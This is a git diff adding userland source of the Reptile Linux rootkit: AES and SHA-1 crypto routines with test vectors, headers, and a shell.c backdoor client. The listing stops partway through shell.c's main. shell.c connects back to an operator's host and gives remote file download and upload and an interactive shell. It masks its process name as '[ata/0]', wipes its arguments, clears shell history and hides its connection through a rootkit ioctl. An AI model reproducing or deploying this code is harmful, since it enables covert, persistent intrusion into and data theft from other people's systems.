Y2, Y3, X0, X1, X2, X3); /* round 9 */ + + if (ctx->nr > 10) { + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 10 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 11 */ + } + + if (ctx->nr > 12) { + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 12 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 13 */ + } + + /* last round */ + + RK += 4; + + X0 = RK[0] ^ (FSb[(uint8)(Y0 >> 24)] << 24) ^ + (FSb[(uint8)(Y1 >> 16)] << 16) ^ (FSb[(uint8)(Y2 >> 8)] << 8) ^ + (FSb[(uint8)(Y3)]); + + X1 = RK[1] ^ (FSb[(uint8)(Y1 >> 24)] << 24) ^ + (FSb[(uint8)(Y2 >> 16)] << 16) ^ (FSb[(uint8)(Y3 >> 8)] << 8) ^ + (FSb[(uint8)(Y0)]); + + X2 = RK[2] ^ (FSb[(uint8)(Y2 >> 24)] << 24) ^ + (FSb[(uint8)(Y3 >> 16)] << 16) ^ (FSb[(uint8)(Y0 >> 8)] << 8) ^ + (FSb[(uint8)(Y1)]); + + X3 = RK[3] ^ (FSb[(uint8)(Y3 >> 24)] << 24) ^ + (FSb[(uint8)(Y0 >> 16)] << 16) ^ (FSb[(uint8)(Y1 >> 8)] << 8) ^ + (FSb[(uint8)(Y2)]); + + PUT_UINT32(X0, data, 0); + PUT_UINT32(X1, data, 4); + PUT_UINT32(X2, data, 8); + PUT_UINT32(X3, data, 12); +} + +/* 128-bit block decryption routine */ + +void aes_decrypt(struct aes_context *ctx, uint8 data[16]) +{ + uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; + + RK = ctx->drk; + + GET_UINT32(X0, data, 0); + X0 ^= RK[0]; + GET_UINT32(X1, data, 4); + X1 ^= RK[1]; + GET_UINT32(X2, data, 8); + X2 ^= RK[2]; + GET_UINT32(X3, data, 12); + X3 ^= RK[3]; + +#define RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \ + { \ + RK += 4; \ + \ + X0 = RK[0] ^ RT0[(uint8)(Y0 >> 24)] ^ RT1[(uint8)(Y3 >> 16)] ^ \ + RT2[(uint8)(Y2 >> 8)] ^ RT3[(uint8)(Y1)]; \ + \ + X1 = RK[1] ^ RT0[(uint8)(Y1 >> 24)] ^ RT1[(uint8)(Y0 >> 16)] ^ \ + RT2[(uint8)(Y3 >> 8)] ^ RT3[(uint8)(Y2)]; \ + \ + X2 = RK[2] ^ RT0[(uint8)(Y2 >> 24)] ^ RT1[(uint8)(Y1 >> 16)] ^ \ + RT2[(uint8)(Y0 >> 8)] ^ RT3[(uint8)(Y3)]; \ + \ + X3 = RK[3] ^ RT0[(uint8)(Y3 >> 24)] ^ RT1[(uint8)(Y2 >> 16)] ^ \ + RT2[(uint8)(Y1 >> 8)] ^ RT3[(uint8)(Y0)]; \ + } + + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 1 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 2 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 3 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 4 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 5 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 6 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 7 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 8 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 9 */ + + if (ctx->nr > 10) { + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 10 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 11 */ + } + + if (ctx->nr > 12) { + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 12 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 13 */ + } + + /* last round */ + + RK += 4; + + X0 = RK[0] ^ (RSb[(uint8)(Y0 >> 24)] << 24) ^ + (RSb[(uint8)(Y3 >> 16)] << 16) ^ (RSb[(uint8)(Y2 >> 8)] << 8) ^ + (RSb[(uint8)(Y1)]); + + X1 = RK[1] ^ (RSb[(uint8)(Y1 >> 24)] << 24) ^ + (RSb[(uint8)(Y0 >> 16)] << 16) ^ (RSb[(uint8)(Y3 >> 8)] << 8) ^ + (RSb[(uint8)(Y2)]); + + X2 = RK[2] ^ (RSb[(uint8)(Y2 >> 24)] << 24) ^ + (RSb[(uint8)(Y1 >> 16)] << 16) ^ (RSb[(uint8)(Y0 >> 8)] << 8) ^ + (RSb[(uint8)(Y3)]); + + X3 = RK[3] ^ (RSb[(uint8)(Y3 >> 24)] << 24) ^ + (RSb[(uint8)(Y2 >> 16)] << 16) ^ (RSb[(uint8)(Y1 >> 8)] << 8) ^ + (RSb[(uint8)(Y0)]); + + PUT_UINT32(X0, data, 0); + PUT_UINT32(X1, data, 4); + PUT_UINT32(X2, data, 8); + PUT_UINT32(X3, data, 12); +} + +#ifdef TEST + +#include +#include + +/* + * those are the standard FIPS 197 test vectors + */ + +static unsigned char KEYs[3][32] = { + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F", + + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" + "\x10\x11\x12\x13\x14\x15\x16\x17", + + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" + "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"}; + +static unsigned char PT[16] = + + "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF"; + +static unsigned char CTs[3][16] = { + "\x69\xC4\xE0\xD8\x6A\x7B\x04\x30\xD8\xCD\xB7\x80\x70\xB4\xC5\x5A", + "\xDD\xA9\x7C\xA4\x86\x4C\xDF\xE0\x6E\xAF\x70\xA0\xEC\x0D\x71\x91", + "\x8E\xA2\xB7\xCA\x51\x67\x45\xBF\xEA\xFC\x49\x90\x4B\x49\x60\x89"}; + +int main(void) +{ + int i; + struct aes_context ctx; + unsigned char data[16]; + + for (i = 0; i < 3; i++) { + memcpy(data, PT, 16); + + aes_set_key(&ctx, KEYs[i], 128 + i * 64); + aes_encrypt(&ctx, data); + + printf("encryption test %d ", i + 1); + + if (!memcmp(data, CTs[i], 16)) { + printf("passed\n"); + } else { + printf("failed\n"); + return (1); + } + } + + for (i = 0; i < 3; i++) { + memcpy(data, CTs[i], 16); + + aes_set_key(&ctx, KEYs[i], 128 + i * 64); + aes_decrypt(&ctx, data); + + printf("decryption test %d ", i + 1); + + if (!memcmp(data, PT, 16)) { + printf("passed\n"); + } else { + printf("failed\n"); + return (1); + } + } + + return (0); +} +#endif diff --git a/Linux/Rootkits/Reptile/userland/crypto/sha1.c b/Linux/Rootkits/Reptile/userland/crypto/sha1.c new file mode 100644 index 0000000..3af4e23 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/crypto/sha1.c @@ -0,0 +1,331 @@ +/* + * FIPS 180-1 compliant SHA-1 implementation, + * by Christophe Devine ; + * this program is licensed under the GPL. + */ + +#include "sha1.h" +#include + +#define GET_UINT32(n, b, i) \ + { \ + (n) = ((uint32)(b)[(i)] << 24) | \ + ((uint32)(b)[(i) + 1] << 16) | \ + ((uint32)(b)[(i) + 2] << 8) | ((uint32)(b)[(i) + 3]); \ + } + +#define PUT_UINT32(n, b, i) \ + { \ + (b)[(i)] = (uint8)((n) >> 24); \ + (b)[(i) + 1] = (uint8)((n) >> 16); \ + (b)[(i) + 2] = (uint8)((n) >> 8); \ + (b)[(i) + 3] = (uint8)((n)); \ + } + +void sha1_starts(struct sha1_context *ctx) +{ + ctx->total[0] = 0; + ctx->total[1] = 0; + ctx->state[0] = 0x67452301; + ctx->state[1] = 0xEFCDAB89; + ctx->state[2] = 0x98BADCFE; + ctx->state[3] = 0x10325476; + ctx->state[4] = 0xC3D2E1F0; +} + +void sha1_process(struct sha1_context *ctx, uint8 data[64]) +{ + uint32 temp, A, B, C, D, E, W[16]; + + GET_UINT32(W[0], data, 0); + GET_UINT32(W[1], data, 4); + GET_UINT32(W[2], data, 8); + GET_UINT32(W[3], data, 12); + GET_UINT32(W[4], data, 16); + GET_UINT32(W[5], data, 20); + GET_UINT32(W[6], data, 24); + GET_UINT32(W[7], data, 28); + GET_UINT32(W[8], data, 32); + GET_UINT32(W[9], data, 36); + GET_UINT32(W[10], data, 40); + GET_UINT32(W[11], data, 44); + GET_UINT32(W[12], data, 48); + GET_UINT32(W[13], data, 52); + GET_UINT32(W[14], data, 56); + GET_UINT32(W[15], data, 60); + +#define S(x, n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) + +#define R(t) \ + (temp = W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ W[(t - 14) & 0x0F] ^ \ + W[t & 0x0F], \ + (W[t & 0x0F] = S(temp, 1))) + +#define P(a, b, c, d, e, x) \ + { \ + e += S(a, 5) + F(b, c, d) + K + x; \ + b = S(b, 30); \ + } + + A = ctx->state[0]; + B = ctx->state[1]; + C = ctx->state[2]; + D = ctx->state[3]; + E = ctx->state[4]; + +#define F(x, y, z) (z ^ (x & (y ^ z))) +#define K 0x5A827999 + + P(A, B, C, D, E, W[0]); + P(E, A, B, C, D, W[1]); + P(D, E, A, B, C, W[2]); + P(C, D, E, A, B, W[3]); + P(B, C, D, E, A, W[4]); + P(A, B, C, D, E, W[5]); + P(E, A, B, C, D, W[6]); + P(D, E, A, B, C, W[7]); + P(C, D, E, A, B, W[8]); + P(B, C, D, E, A, W[9]); + P(A, B, C, D, E, W[10]); + P(E, A, B, C, D, W[11]); + P(D, E, A, B, C, W[12]); + P(C, D, E, A, B, W[13]); + P(B, C, D, E, A, W[14]); + P(A, B, C, D, E, W[15]); + P(E, A, B, C, D, R(16)); + P(D, E, A, B, C, R(17)); + P(C, D, E, A, B, R(18)); + P(B, C, D, E, A, R(19)); + +#undef K +#undef F + +#define F(x, y, z) (x ^ y ^ z) +#define K 0x6ED9EBA1 + + P(A, B, C, D, E, R(20)); + P(E, A, B, C, D, R(21)); + P(D, E, A, B, C, R(22)); + P(C, D, E, A, B, R(23)); + P(B, C, D, E, A, R(24)); + P(A, B, C, D, E, R(25)); + P(E, A, B, C, D, R(26)); + P(D, E, A, B, C, R(27)); + P(C, D, E, A, B, R(28)); + P(B, C, D, E, A, R(29)); + P(A, B, C, D, E, R(30)); + P(E, A, B, C, D, R(31)); + P(D, E, A, B, C, R(32)); + P(C, D, E, A, B, R(33)); + P(B, C, D, E, A, R(34)); + P(A, B, C, D, E, R(35)); + P(E, A, B, C, D, R(36)); + P(D, E, A, B, C, R(37)); + P(C, D, E, A, B, R(38)); + P(B, C, D, E, A, R(39)); + +#undef K +#undef F + +#define F(x, y, z) ((x & y) | (z & (x | y))) +#define K 0x8F1BBCDC + + P(A, B, C, D, E, R(40)); + P(E, A, B, C, D, R(41)); + P(D, E, A, B, C, R(42)); + P(C, D, E, A, B, R(43)); + P(B, C, D, E, A, R(44)); + P(A, B, C, D, E, R(45)); + P(E, A, B, C, D, R(46)); + P(D, E, A, B, C, R(47)); + P(C, D, E, A, B, R(48)); + P(B, C, D, E, A, R(49)); + P(A, B, C, D, E, R(50)); + P(E, A, B, C, D, R(51)); + P(D, E, A, B, C, R(52)); + P(C, D, E, A, B, R(53)); + P(B, C, D, E, A, R(54)); + P(A, B, C, D, E, R(55)); + P(E, A, B, C, D, R(56)); + P(D, E, A, B, C, R(57)); + P(C, D, E, A, B, R(58)); + P(B, C, D, E, A, R(59)); + +#undef K +#undef F + +#define F(x, y, z) (x ^ y ^ z) +#define K 0xCA62C1D6 + + P(A, B, C, D, E, R(60)); + P(E, A, B, C, D, R(61)); + P(D, E, A, B, C, R(62)); + P(C, D, E, A, B, R(63)); + P(B, C, D, E, A, R(64)); + P(A, B, C, D, E, R(65)); + P(E, A, B, C, D, R(66)); + P(D, E, A, B, C, R(67)); + P(C, D, E, A, B, R(68)); + P(B, C, D, E, A, R(69)); + P(A, B, C, D, E, R(70)); + P(E, A, B, C, D, R(71)); + P(D, E, A, B, C, R(72)); + P(C, D, E, A, B, R(73)); + P(B, C, D, E, A, R(74)); + P(A, B, C, D, E, R(75)); + P(E, A, B, C, D, R(76)); + P(D, E, A, B, C, R(77)); + P(C, D, E, A, B, R(78)); + P(B, C, D, E, A, R(79)); + +#undef K +#undef F + + ctx->state[0] += A; + ctx->state[1] += B; + ctx->state[2] += C; + ctx->state[3] += D; + ctx->state[4] += E; +} + +void sha1_update(struct sha1_context *ctx, uint8 *input, uint32 length) +{ + uint32 left, fill; + + if (!length) + return; + + left = (ctx->total[0] >> 3) & 0x3F; + fill = 64 - left; + + ctx->total[0] += length << 3; + ctx->total[1] += length >> 29; + + ctx->total[0] &= 0xFFFFFFFF; + ctx->total[1] += ctx->total[0] < (length << 3); + + if (left && length >= fill) { + memcpy((void *)(ctx->buffer + left), (void *)input, fill); + sha1_process(ctx, ctx->buffer); + length -= fill; + input += fill; + left = 0; + } + + while (length >= 64) { + sha1_process(ctx, input); + length -= 64; + input += 64; + } + + if (length) { + memcpy((void *)(ctx->buffer + left), (void *)input, length); + } +} + +static uint8 sha1_padding[64] = { + 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; + +void sha1_finish(struct sha1_context *ctx, uint8 digest[20]) +{ + uint32 last, padn; + uint8 msglen[8]; + + PUT_UINT32(ctx->total[1], msglen, 0); + PUT_UINT32(ctx->total[0], msglen, 4); + + last = (ctx->total[0] >> 3) & 0x3F; + padn = (last < 56) ? (56 - last) : (120 - last); + + sha1_update(ctx, sha1_padding, padn); + sha1_update(ctx, msglen, 8); + + PUT_UINT32(ctx->state[0], digest, 0); + PUT_UINT32(ctx->state[1], digest, 4); + PUT_UINT32(ctx->state[2], digest, 8); + PUT_UINT32(ctx->state[3], digest, 12); + PUT_UINT32(ctx->state[4], digest, 16); +} + +#ifdef TEST + +#include +#include + +/* + * those are the standard FIPS 180-1 test vectors + */ + +static char *msg[] = { + "abc", "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", NULL}; + +static char *val[] = {"a9993e364706816aba3e25717850c26c9cd0d89d", + "84983e441c3bd26ebaae4aa1f95129e5e54670f1", + "34aa973cd4c4daa4f61eeb2bdbad27316534016f"}; + +int main(int argc, char *argv[]) +{ + FILE *f; + int i, j; + char output[41]; + struct sha1_context ctx; + unsigned char sha1sum[20], buffer[1000]; + + if (argc < 2) { + for (i = 0; i < 3; i++) { + sha1_starts(&ctx); + + if (i < 2) { + sha1_update(&ctx, (uint8 *)msg[i], + strlen(msg[i])); + } else { + memset(buffer, 'a', 1000); + + for (j = 0; j < 1000; j++) { + sha1_update(&ctx, (uint8 *)buffer, + 1000); + } + } + + sha1_finish(&ctx, sha1sum); + + for (j = 0; j < 20; j++) { + sprintf(output + j * 2, "%02x", sha1sum[j]); + } + + printf("test %d ", i + 1); + + if (!memcmp(output, val[i], 40)) { + printf("passed\n"); + } else { + printf("failed\n"); + return (1); + } + } + } else { + if (!(f = fopen(argv[1], "rb"))) { + perror("fopen"); + return (1); + } + + sha1_starts(&ctx); + + while ((i = fread(buffer, 1, sizeof(buffer), f)) > 0) { + sha1_update(&ctx, buffer, i); + } + + sha1_finish(&ctx, sha1sum); + + for (j = 0; j < 20; j++) { + printf("%02x", sha1sum[j]); + } + + printf(" %s\n", argv[1]); + } + + return (0); +} + +#endif diff --git a/Linux/Rootkits/Reptile/userland/include/aes.h b/Linux/Rootkits/Reptile/userland/include/aes.h new file mode 100644 index 0000000..cbd423b --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/aes.h @@ -0,0 +1,22 @@ +#ifndef _AES_H +#define _AES_H + +#ifndef uint8 +#define uint8 unsigned char +#endif + +#ifndef uint32 +#define uint32 unsigned long int +#endif + +struct aes_context { + int nr; /* number of rounds */ + uint32 erk[64]; /* encryption round keys */ + uint32 drk[64]; /* decryption round keys */ +}; + +int aes_set_key(struct aes_context *ctx, uint8 *key, int nbits); +void aes_encrypt(struct aes_context *ctx, uint8 data[16]); +void aes_decrypt(struct aes_context *ctx, uint8 data[16]); + +#endif /* aes.h */ diff --git a/Linux/Rootkits/Reptile/userland/include/config.h b/Linux/Rootkits/Reptile/userland/include/config.h new file mode 100644 index 0000000..a5207b4 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/config.h @@ -0,0 +1,13 @@ +#ifndef _CONFIG_H +#define _CONFIG_H + +#define HOMEDIR "/root" +#define GET_FILE 1 +#define PUT_FILE 2 +#define RUNSHELL 3 +#define SET_DELAY 4 +#define OUT 5 +#define EXIT_LEN 16 +#define EXIT ";7(Zu9YTsA7qQ#vw" + +#endif \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/include/custom_rol32.h b/Linux/Rootkits/Reptile/userland/include/custom_rol32.h new file mode 100644 index 0000000..792bbeb --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/custom_rol32.h @@ -0,0 +1,15 @@ +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) + +static inline unsigned int custom_rol32(unsigned int val, int n) +{ + return ((val << n) | (val >> (32 - n))); +} + +static inline void do_encode(void *ptr, unsigned int len, unsigned int key) +{ + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + len -= sizeof(key), ptr += sizeof(key); + } +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/userland/include/pel.h b/Linux/Rootkits/Reptile/userland/include/pel.h new file mode 100644 index 0000000..fa55a7a --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/pel.h @@ -0,0 +1,24 @@ +#ifndef _PEL_H +#define _PEL_H + +#define BUFSIZE 4096 /* maximum message length */ + +#define PEL_SUCCESS 1 +#define PEL_FAILURE 0 + +#define PEL_SYSTEM_ERROR -1 +#define PEL_CONN_CLOSED -2 +#define PEL_WRONG_CHALLENGE -3 +#define PEL_BAD_MSG_LENGTH -4 +#define PEL_CORRUPTED_DATA -5 +#define PEL_UNDEFINED_ERROR -6 + +extern int pel_errno; + +int pel_client_init( int server, char *key ); +int pel_server_init( int client, char *key ); + +int pel_send_msg( int sockfd, unsigned char *msg, int length ); +int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); + +#endif /* pel.h */ diff --git a/Linux/Rootkits/Reptile/userland/include/sha1.h b/Linux/Rootkits/Reptile/userland/include/sha1.h new file mode 100644 index 0000000..0d23588 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/sha1.h @@ -0,0 +1,22 @@ +#ifndef _SHA1_H +#define _SHA1_H + +#ifndef uint8 +#define uint8 unsigned char +#endif + +#ifndef uint32 +#define uint32 unsigned long int +#endif + +struct sha1_context { + uint32 total[2]; + uint32 state[5]; + uint8 buffer[64]; +}; + +void sha1_starts(struct sha1_context *ctx); +void sha1_update(struct sha1_context *ctx, uint8 *input, uint32 length); +void sha1_finish(struct sha1_context *ctx, uint8 digest[20]); + +#endif /* sha1.h */ diff --git a/Linux/Rootkits/Reptile/userland/include/util.h b/Linux/Rootkits/Reptile/userland/include/util.h new file mode 100644 index 0000000..9c7a929 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/include/util.h @@ -0,0 +1,64 @@ +#ifndef _UTIL_H +#define _UTIL_H + +//#include "config.h" + +#define ERROR -1 +#define RL_BUFSIZE 2048 +#define TOK_BUFSIZE 64 +#define TOK_DELIM " \t\r\n\a" + +extern char *optarg; +// extern int optind; + +char good[] = "\e[01;34m[*]\e[00m"; +char awesome[] = "\e[01;32m[+]\e[00m"; +char bad[] = "\e[01;31m[-]\e[00m"; +char warn[] = "\e[01;33m[!]\e[00m"; + +void p_error(char *message) +{ + char error_message[129]; + + strcpy(error_message, bad); + strcat(error_message, " Error "); + strncat(error_message, message, 93); + perror(error_message); + printf("\n\n"); +} + +void fatal(char *message) +{ + p_error(message); + exit(ERROR); +} + +void banner(void) +{ + fprintf(stdout, "\e[01;31m\n" + "\t █████▒▄▄▄ ▄▄▄█████▓ â–„â–„â–„ ██▓ ██▓▄▄▄█████▓▓██ ██▓\n" + "\t▓██ ▒▒████▄ â–“ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ â–“â–’ ▒██ ██▒\n" + "\t▒████ ░▒██ ▀█▄ â–’ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ â–’â–‘ ▒██ ██░\n" + "\t░▓█▒ ░░██▄▄▄▄██░ ▓██▓ â–‘ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ â–‘ â–‘ â–██▓░\n" + "\t░▒█░ â–“â–ˆ ▓██▒ ▒██▒ â–‘ â–“â–ˆ ▓██▒░██████▒░██░ ▒██▒ â–‘ â–‘ ██▒▓░\n" + "\t â–’ â–‘ â–’â–’ ▓▒█░ â–’ â–‘â–‘ â–’â–’ ▓▒█░░ â–’â–‘â–“ â–‘â–‘â–“ â–’ â–‘â–‘ ██▒▒▒ \n" + "\t â–‘ â–’ â–’â–’ â–‘ â–‘ â–’ â–’â–’ â–‘â–‘ â–‘ â–’ â–‘ â–’ â–‘ â–‘ ▓██ â–‘â–’â–‘ \n" + "\t â–‘ â–‘ â–‘ â–’ â–‘ â–‘ â–’ â–‘ â–‘ â–’ â–‘ â–‘ â–’ â–’ â–‘â–‘ \n" + "\t â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ â–‘ \n" + "\t â–‘ â–‘ \n"); + fprintf(stdout, "\n\e[01;32m\t\t\t\t Reptile Wins\n"); + fprintf(stdout, "\e[00m\t\t\t\tFlawless Victory\n\n"); +} + +void banner2(void) +{ + fprintf(stdout, "\e[01;31m\n\n" + "███████ ██ ███ ██ ██ ███████ ██ ██ ██ ██ ██ ███ ███ ██ ██\n" + "██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ████ ████ ██ ██\n" + "█████ ██ ██ ██ ██ ██ ███████ ███████ ███████ ██ ██ ████ ██ ██ ██\n" + "██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ \n" + "██ ██ ██ ████ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██\n" + "\n"); +} + +#endif diff --git a/Linux/Rootkits/Reptile/userland/shell.c b/Linux/Rootkits/Reptile/userland/shell.c new file mode 100644 index 0000000..5401d52 --- /dev/null +++ b/Linux/Rootkits/Reptile/userland/shell.c @@ -0,0 +1,495 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "config.h" +#include "pel.h" + +#define ERROR -1 + +unsigned char message[BUFSIZE + 1]; +extern char *optarg; +char *rcfile; + +#ifndef _REPTILE_ + +void usage(char *argv0) +{ + fprintf(stderr, "Usage: %s [ -t connect_back_host ] ", argv0); + fprintf(stderr, "[ -p port ] [ -s secret ] [ -r delay (optional) ]\n"); +} + +#endif + +int get_file(int client) +{ + int ret, len, fd; + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (message[0] == OUT) + return 1; + + message[len] = '\0'; + + fd = open((char *)message, O_RDONLY); + + if (fd < 0) + return (ERROR); + + while (1) { + len = read(fd, message, BUFSIZE); + + if (len == 0) + break; + if (len < 0) + return (ERROR); + + ret = pel_send_msg(client, message, len); + + if (ret != PEL_SUCCESS) + return (ERROR); + } + return 0; +} + +int put_file(int client) +{ + int ret, len, fd; + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (message[0] == OUT) + return (ERROR); + + message[len] = '\0'; + fd = creat((char *)message, 0644); + + if (fd < 0) + return (ERROR); + + while (1) { + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) + break; + + if (write(fd, message, len) != len) + return (ERROR); + } + return 0; +} + +int runshell(int client) +{ + fd_set rd; + struct winsize ws; + char *slave, *temp, *shell; + int ret, len, pid, pty, tty, n; + + if (openpty(&pty, &tty, NULL, NULL, NULL) < 0) + return (ERROR); + + slave = ttyname(tty); + + if (slave == NULL) + return (ERROR); + + chdir(HOMEDIR); + putenv("HISTFILE="); + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + message[len] = '\0'; + setenv("TERM", (char *)message, 1); + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS || len != 4) + return (ERROR); + + ws.ws_row = ((int)message[0] << 8) + (int)message[1]; + ws.ws_col = ((int)message[2] << 8) + (int)message[3]; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + + if (ioctl(pty, TIOCSWINSZ, &ws) < 0) + return (ERROR); + + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + + if (len == 1 && message[0] == RUNSHELL) { + temp = (char *)malloc(20 + strlen(rcfile)); + + if (temp == NULL) + return (ERROR); + + strcpy(temp, "exec bash --rcfile "); + strcat(temp, rcfile); + } else { + message[len] = '\0'; + temp = (char *)malloc(len + 1); + + if (temp == NULL) + return (ERROR); + + strncpy(temp, (char *)message, len + 1); + } + + pid = fork(); + + if (pid < 0) { + free(temp); + return (ERROR); + } + + if (pid == 0) { + close(client); + close(pty); + + if (setsid() < 0) { + free(temp); + return (ERROR); + } + + if (ioctl(tty, TIOCSCTTY, NULL) < 0) { + free(temp); + return (ERROR); + } + + dup2(tty, 0); + dup2(tty, 1); + dup2(tty, 2); + + if (tty > 2) + close(tty); + + shell = (char *)malloc(10); + + if (shell == NULL) { + free(temp); + return (ERROR); + } + + strcpy(shell, "/bin/bash"); + + execl(shell, shell + 5, "-c", temp, (char *)0); + free(temp); + free(shell); + + return 0; + } else { + close(tty); + + while (1) { + FD_ZERO(&rd); + FD_SET(client, &rd); + FD_SET(pty, &rd); + + n = (pty > client) ? pty : client; + + if (select(n + 1, &rd, NULL, NULL, NULL) < 0) + return (ERROR); + + if (FD_ISSET(client, &rd)) { + ret = pel_recv_msg(client, message, &len); + + if (ret != PEL_SUCCESS) + return (ERROR); + if (write(pty, message, len) != len) + return (ERROR); + } + + if (FD_ISSET(pty, &rd)) { + len = read(pty, message, BUFSIZE); + + if (len == 0) + break; + if (len < 0) + return (ERROR); + + ret = pel_send_msg(client, message, len); + + if (ret != PEL_SUCCESS) + return (ERROR); + } + } + return 0; + } +} + +#ifdef _REPTILE_ + +#define HIDE 1 +#define UNHIDE 0 + +struct control { + unsigned short cmd; + void *argv; +}; + +void hide_conn(struct sockaddr_in addr, int hide) +{ + struct control args; + int sockioctl = socket(AF_INET, SOCK_STREAM, 6); + + if (sockioctl < 0) + exit(1); + + if (hide) { + args.cmd = 4; + } else { + args.cmd = 5; + } + + args.argv = &addr; + + if (ioctl(sockioctl, AUTH, HTUA) == 0) { + if (ioctl(sockioctl, AUTH, &args) == 0) + ioctl(sockioctl, AUTH, HTUA); + } + + close(sockioctl); +} + +#endif + +int build_rcfile_path(void) +{ + char *name = NAME; + int len = 6 + strlen(name) + strlen(name); + + rcfile = (char *)malloc(len); + + if (rcfile == NULL) + return -1; + + snprintf(rcfile, len, "/%s/%s_rc", name, name); + return 0; +} + +int main(int argc, char **argv) +{ + int ret, len, pid, opt, client, arg0_len, delay = 0; + short int connect_back_port = 0; + char *connect_back_host = NULL; + char *secret = NULL; + struct sockaddr_in client_addr; + struct hostent *client_host; + socklen_t n; + + while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { + switch (opt) { + case 't': + connect_back_host = strdup(optarg); + break; + case 'p': + connect_back_port = atoi(optarg); + if (!connect_back_port) { +#ifndef _REPTILE_ + usage(*argv); +#endif + goto out; + } + break; + case 's': + secret = strdup(optarg); + break; + case 'r': + delay = atoi(optarg); + break; + default: +#ifndef _REPTILE_ + usage(*argv); +#endif + exit(1); + break; + } + } + + if (connect_back_host == NULL || connect_back_port == 0 || + secret == NULL) { +#ifndef _REPTILE_ + usage(*argv); +#endif + goto out; + } + + arg0_len = strlen(argv[0]); + bzero(argv[0], arg0_len); + + if (arg0_len >= 7) + strcpy(argv[0], "[ata/0]"); + + if(argv[1]) + bzero(argv[1], strlen(argv[1])); + + if(argv[2]) + bzero(argv[2], strlen(argv[2])); + + if(argv[3]) + bzero(argv[3], strlen(argv[3])); + + if(argv[4]) + bzero(argv[4], strlen(argv[4])); + + if(argv[5]) + bzero(argv[5], strlen(argv[5])); + + if(argv[6]) + bzero(argv[6], strlen(argv[6])); + + if(argv[7]) + bzero(argv[7], strlen(argv[7])); + + if(argv[8]) + bzero(argv[8], strlen(argv[8])); + + if (build_rcfile_path()) + goto out; + + pid = fork(); + + if (pid < 0) + return (ERROR); + + if (pid != 0) + return 0; + + if (setsid() < 0) + return (ERROR); + + for (n = 0; n < 1024; n++) + close(n); + + do { + if (delay > 0) + sleep(delay); + + client = socket(PF_INET, SOCK_STREAM, 0); + if (client < 0) 